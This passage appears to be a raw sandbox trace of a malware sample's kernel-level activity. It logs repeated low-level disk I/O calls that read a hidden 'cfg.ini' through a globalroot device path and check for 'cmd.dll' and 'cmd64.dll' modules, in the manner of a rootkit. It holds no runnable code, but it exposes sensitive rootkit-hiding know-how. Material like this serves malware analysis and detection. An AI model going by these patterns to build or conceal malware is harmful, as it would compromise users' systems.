(StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.604] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.604] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.604] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.604] IdePortDispatch () returned 0x103 [0128.604] KeWaitForMutexObject () returned 0x0 [0128.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] KeLeaveCriticalRegion () [0128.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.605] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.605] KeEnterCriticalRegion () [0128.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] KeLeaveCriticalRegion () [0128.605] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.605] KeEnterCriticalRegion () [0128.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.605] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] KeLeaveCriticalRegion () [0128.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.605] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.605] KeEnterCriticalRegion () [0128.605] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] ExFreePoolWithTag (P=0xfffffa800365e580, Tag=0x0) [0128.605] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.605] KeLeaveCriticalRegion () [0128.605] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.606] ReleaseMutex (hMutex=0xf0) returned 1 [0128.606] Sleep (dwMilliseconds=0x124f80) [0128.611] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.613] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.613] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.613] KeEnterCriticalRegion () [0128.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.613] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.613] IdePortDispatch () returned 0x103 [0128.613] KeWaitForMutexObject () returned 0x0 [0128.613] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.613] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.613] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.613] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.613] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.613] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00e10 [0128.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.613] KeLeaveCriticalRegion () [0128.613] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.613] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.613] KeEnterCriticalRegion () [0128.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.613] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.613] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.613] KeLeaveCriticalRegion () [0128.613] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.613] KeEnterCriticalRegion () [0128.613] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.613] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.613] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.613] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.614] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.614] IdePortDispatch () returned 0x103 [0128.614] KeWaitForMutexObject () returned 0x0 [0128.614] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.614] KeLeaveCriticalRegion () [0128.614] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.614] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.614] KeEnterCriticalRegion () [0128.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.614] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e6000 [0128.614] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.614] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.614] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.614] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.614] IdePortDispatch () returned 0x103 [0128.615] KeWaitForMutexObject () returned 0x0 [0128.616] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.616] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.616] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.616] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.616] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.616] IdePortDispatch () returned 0x103 [0128.616] KeWaitForMutexObject () returned 0x0 [0128.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.616] KeLeaveCriticalRegion () [0128.616] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.616] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.616] KeEnterCriticalRegion () [0128.616] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.616] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.616] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.616] KeLeaveCriticalRegion () [0128.617] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.617] KeEnterCriticalRegion () [0128.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.617] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c004d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] KeLeaveCriticalRegion () [0128.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.617] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.617] KeEnterCriticalRegion () [0128.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] ExFreePoolWithTag (P=0xfffffa8003c00e10, Tag=0x0) [0128.617] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.617] KeLeaveCriticalRegion () [0128.617] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.617] ReleaseMutex (hMutex=0xf0) returned 1 [0128.617] Sleep (dwMilliseconds=0x124f80) [0128.628] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.628] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.628] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.628] KeEnterCriticalRegion () [0128.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.628] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.628] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.628] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.628] IdePortDispatch () returned 0x103 [0128.628] KeWaitForMutexObject () returned 0x0 [0128.628] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.628] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.628] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.628] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.628] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.628] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff0e0 [0128.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.628] KeLeaveCriticalRegion () [0128.628] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.628] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.628] KeEnterCriticalRegion () [0128.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.628] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.628] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.628] KeLeaveCriticalRegion () [0128.628] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.628] KeEnterCriticalRegion () [0128.628] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.628] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.629] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.629] IdePortDispatch () returned 0x103 [0128.629] KeWaitForMutexObject () returned 0x0 [0128.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.629] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.629] KeLeaveCriticalRegion () [0128.629] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.629] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.629] KeEnterCriticalRegion () [0128.629] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ea000 [0128.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.629] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.629] IdePortDispatch () returned 0x103 [0128.629] KeWaitForMutexObject () returned 0x0 [0128.629] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.629] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.629] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.629] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.629] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.629] IdePortDispatch () returned 0x103 [0128.629] KeWaitForMutexObject () returned 0x0 [0128.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.630] KeLeaveCriticalRegion () [0128.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.630] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.630] KeEnterCriticalRegion () [0128.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.630] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.630] KeLeaveCriticalRegion () [0128.630] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.630] KeEnterCriticalRegion () [0128.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.630] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.630] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00620, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.630] KeLeaveCriticalRegion () [0128.630] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.630] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.631] KeEnterCriticalRegion () [0128.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] ExFreePoolWithTag (P=0xfffffa8003bff0e0, Tag=0x0) [0128.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.631] KeLeaveCriticalRegion () [0128.631] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.631] ReleaseMutex (hMutex=0xf0) returned 1 [0128.631] Sleep (dwMilliseconds=0x124f80) [0128.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.645] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.645] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.645] KeEnterCriticalRegion () [0128.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.645] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.645] IdePortDispatch () returned 0x103 [0128.645] KeWaitForMutexObject () returned 0x0 [0128.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00e60 [0128.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.645] KeLeaveCriticalRegion () [0128.645] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.645] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.645] KeEnterCriticalRegion () [0128.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.645] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.645] KeLeaveCriticalRegion () [0128.645] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.645] KeEnterCriticalRegion () [0128.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.645] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.646] IdePortDispatch () returned 0x103 [0128.646] KeWaitForMutexObject () returned 0x0 [0128.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.646] KeLeaveCriticalRegion () [0128.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.646] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.646] KeEnterCriticalRegion () [0128.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ef000 [0128.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.646] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.646] IdePortDispatch () returned 0x103 [0128.646] KeWaitForMutexObject () returned 0x0 [0128.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.646] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.646] IdePortDispatch () returned 0x103 [0128.646] KeWaitForMutexObject () returned 0x0 [0128.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] KeLeaveCriticalRegion () [0128.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.647] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.647] KeEnterCriticalRegion () [0128.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] KeLeaveCriticalRegion () [0128.647] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.647] KeEnterCriticalRegion () [0128.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.647] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c004d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] KeLeaveCriticalRegion () [0128.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.647] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.647] KeEnterCriticalRegion () [0128.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] ExFreePoolWithTag (P=0xfffffa8003c00e60, Tag=0x0) [0128.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.647] KeLeaveCriticalRegion () [0128.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.648] ReleaseMutex (hMutex=0xf0) returned 1 [0128.648] Sleep 